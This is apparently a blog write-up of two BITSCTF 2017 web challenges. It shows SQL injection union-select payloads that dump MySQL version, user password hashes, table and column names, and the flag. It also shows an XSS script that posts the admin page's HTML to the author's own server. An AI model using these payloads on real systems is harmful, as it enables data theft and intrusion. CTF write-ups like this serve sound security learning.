Monday, February 6, 2017

BITSCTF 2017 - Web [Batman vs Joker, Message the admin]


Batman vs Joker (30)



Visiting robots.txt instantly told us the type of challenge this would be:

Not Found

The requested URL /sql/robots.txt was not found on this server.

Apache/2.4.10 (Debian) Server at joking.bitsctf.bits-quark.org Port 80

Looks like we're dealing with SQL injection! If we put a quote mark, we can see an error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' Limit 1' at line 1


With a little fiddling, it looks like we can simply union select two fields and grab whatever data we need.

Starting out with something simple, we try the most basic SQLi statement:

' or 1=1 #

First name:Harry
Surname: Potter
First name:Hermione
Surname: Granger
First name:Ronald
Surname: Weasley
First name:Joker
Surname: Joker

So it dumps out a handful of characters from Harry Potter and the Joker. Let's see what else we can find:

' or 1=1  union select 1,@@version #
...
First name:1
Surname: 5.5.54-0+deb8u1

And we have MySQL 5.5.54 we're working with.

' or 1=1  union select user,password from mysql.user #
...
First name:root
Surname: *[redacted_for_article]
First name:debian-sys-maint
Surname: *[redacted_for_article]
First name:tester
Surname: *[redacted_for_article]

Wow, so we actually can dump the root password, that's nice! Thanks!

Then dumping the table information we can see our current CIA record table and an extra one (Joker):

' or 1=1  union select  table_schema,table_name FROM information_schema.tables #

...
Surname: INNODB_CMP_RESET
First name:information_schema
Surname: INNODB_BUFFER_PAGE_LRU
First name:hack
Surname: CIA_Official_Records     <<
First name:hack
Surname: Joker                    <<
First name:mysql
Surname: columns_priv
First name:mysql
...

Using this we can get the column name we're looking for (rather obvious in hindsight):

' or 1=1 union select table_name, column_name FROM information_schema.columns #

...
First name:CIA_Official_Records
Surname: username
First name:CIA_Official_Records
Surname: first_name
First name:CIA_Official_Records
Surname: last_name
First name:Joker
Surname: Flag                   <<<<
First name:Joker
Surname: HaHaHa
First name:columns_priv
Surname: Host
First name:columns_priv
Surname: Db
...

And now to grab the Flag!

' or 1=1 union select 1,Flag from Joker #

First name:Harry
Surname: Potter
First name:Hermione
Surname: Granger
First name:Ronald
Surname: Weasley
First name:Joker
Surname: Joker
First name:1
Surname: BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}


BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}



Message the admin (60)


This one went fairly quickly because some recent challenges were very similar. So it was still in muscle memory. The challenge was to send a message to the 'admin' (a PhantomJS server watching for messages), and include some payload to send to them. Most likely a CSRF or XSS challenge.



Hitting robots.txt really quickly we get:

Not Found

The requested URL /xss/robots.txt was not found on this server.

Apache/2.4.10 (Debian) Server at msgtheadmin.bitsctf.bits-quark.org Port 80

This tells us our assumption about XSS was correct, and we can proceed to include a payload that calls back to our server with some information.

Most initial payloads include document.cookie, but since the most recent challenge was to include page contents, that was the first check to try.

<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.js'></script>
<script>
  var x = $('body').html().toString();
  $.post('http://[some-server]/analytics', x);
</script>


Running a server and redirecting the output to an html file, we get this:




BITSCTF{hsr_1s_n0t_cr3ative}